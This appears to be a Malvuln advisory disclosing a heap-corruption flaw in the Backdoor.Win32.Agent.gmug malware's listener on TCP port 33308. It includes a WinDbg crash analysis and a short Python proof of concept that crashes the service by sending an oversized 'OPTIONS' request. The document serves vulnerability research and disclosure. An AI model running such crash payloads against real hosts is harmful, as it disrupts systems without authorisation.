us malvuln (US) us
Risk: Medium
Local: No
Remote: Yes

Discovery / credits: Malvuln - (c) 2021 Original source: Contact: Media: Threat: Backdoor.Win32.Agent.gmug Vulnerability: Heap Corruption Description: The malware listens on TCP port 33308, third-party attackers who can reach the server can send a specially crafted payload causing a heap corruption. Type: PE32 MD5: c7763bae3376a9f2865a1a18e84c259e Vuln ID: MVID-2021-0194 Dropped files: ASLR: False DEP: False Safe SEH: True Disclosure: 04/29/2021 Memory Dump: (1a90.1b4): Unknown exception - code c0000017 (first/second chance not available) eax=00000000 ebx=00000000 ecx=4f495458 edx=00000053 esi=00000003 edi=00000003 eip=77aeed3c esp=045ef264 ebp=045ef3f4 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!ZwWaitForMultipleObjects+0xc: 77aeed3c c21400 ret 14h 0:004> .ecxr eax=045efba0 ebx=045efc38 ecx=4f495458 edx=00000053 esi=0038f000 edi=00000000 eip=77b53c59 esp=045efba0 ebp=045efbf8 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!RtlpAllocateHeapRaiseException+0x3b: 77b53c59 8b4dfc mov ecx,dword ptr [ebp-4] ss:002b:045efbf4=afc7855f 0:004> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* *** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe *** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe FAULTING_IP: ntdll!RtlpAllocateHeapRaiseException+3b 77b53c59 8b4dfc mov ecx,dword ptr [ebp-4] EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 77b53c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b) ExceptionCode: c0000017 ExceptionFlags: 00000000 NumberParameters: 1 Parameter[0]: 4f495458 DEFAULT_BUCKET_ID: HEAP_CORRUPTION PROCESS_NAME: Backdoor.Win32.Agent.gmug.c7763bae3376a9f2865a1a18e84c259e.exe ERROR_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation. EXCEPTION_CODE: (NTSTATUS) 0xc0000017 - {Not Enough Quota} Not enough virtual memory or paging file quota is available to complete the specified operation. EXCEPTION_PARAMETER1: 4f495458 MOD_LIST: <ANALYSIS/> NTGLOBALFLAG: 0 APPLICATION_VERIFIER_FLAGS: 0 ADDITIONAL_DEBUG_TEXT: Enable Pageheap/AutoVerifer FAULTING_THREAD: 000001b4 PRIMARY_PROBLEM_CLASS: HEAP_CORRUPTION BUGCHECK_STR: APPLICATION_FAULT_HEAP_CORRUPTION LAST_CONTROL_TRANSFER: from 77ac173a to 77b53c59 STACK_TEXT: 045efbf8 77ac173a 13145ad0 02570000 00030988 ntdll!RtlpAllocateHeapRaiseException+0x3b 045efc38 77ac13ee 0000000c 00000000 13145ad0 ntdll!RtlpAllocateHeapInternal+0x33a 045efc50 13142054 02570000 0000000c 4f49544f ntdll!RtlAllocateHeap+0x3e WARNING: Stack unwind information not available. Following frames may be wrong. 045efc68 1314210c 4f49544f 045efc94 131427b2 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x2054 045efc74 131427b2 4f49544f 00000008 0258e8e0 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x210c 045efc94 13145c0e 4f49544f afc78257 045efd24 Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x27b2 045eff80 776f8654 0258e8e0 776f8630 e0881c1e Backdoor_Win32_Agent_gmug_c7763bae3376a9f2865a1a18e84c259e+0x5c0e 045eff94 77ae4a77 0258e8e0 afc7817b 00000000 kernel32!BaseThreadInitThunk+0x24 045effdc 77ae4a47 ffffffff 77b09eb3 00000000 ntdll!__RtlUserThreadStart+0x2f 045effec 00000000 13145ad0 0258e8e0 00000000 ntdll!_RtlUserThreadStart+0x1b STACK_COMMAND: ~4s; .ecxr ; kb SYMBOL_NAME: heap_corruption!heap_corruption FOLLOWUP_NAME: MachineOwner MODULE_NAME: heap_corruption IMAGE_NAME: heap_corruption DEBUG_FLR_IMAGE_TIMESTAMP: 0 FAILURE_BUCKET_ID: HEAP_CORRUPTION_c0000017_heap_corruption!heap_corruption BUCKET_ID: APPLICATION_FAULT_HEAP_CORRUPTION_heap_corruption!heap_corruption Followup: MachineOwner --------- 0:004> .exr -1 ExceptionAddress: 77b53c59 (ntdll!RtlpAllocateHeapRaiseException+0x0000003b) ExceptionCode: c0000017 ExceptionFlags: 00000000 NumberParameters: 1 Parameter[0]: 4f495458 Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=33308 def doit(): s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) A = "OPTIONS / "+"A"*5482 B = "HTTP/1.1 " C="A"*5481 PAYLOAD = A+B+C s.send(PAYLOAD) s.close() print("Backdoor.Win32.Agent.gmug / Heap Corruption") print("MD5: c7763bae3376a9f2865a1a18e84c259e") print("By Malvuln"); if __name__=="__main__": doit() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

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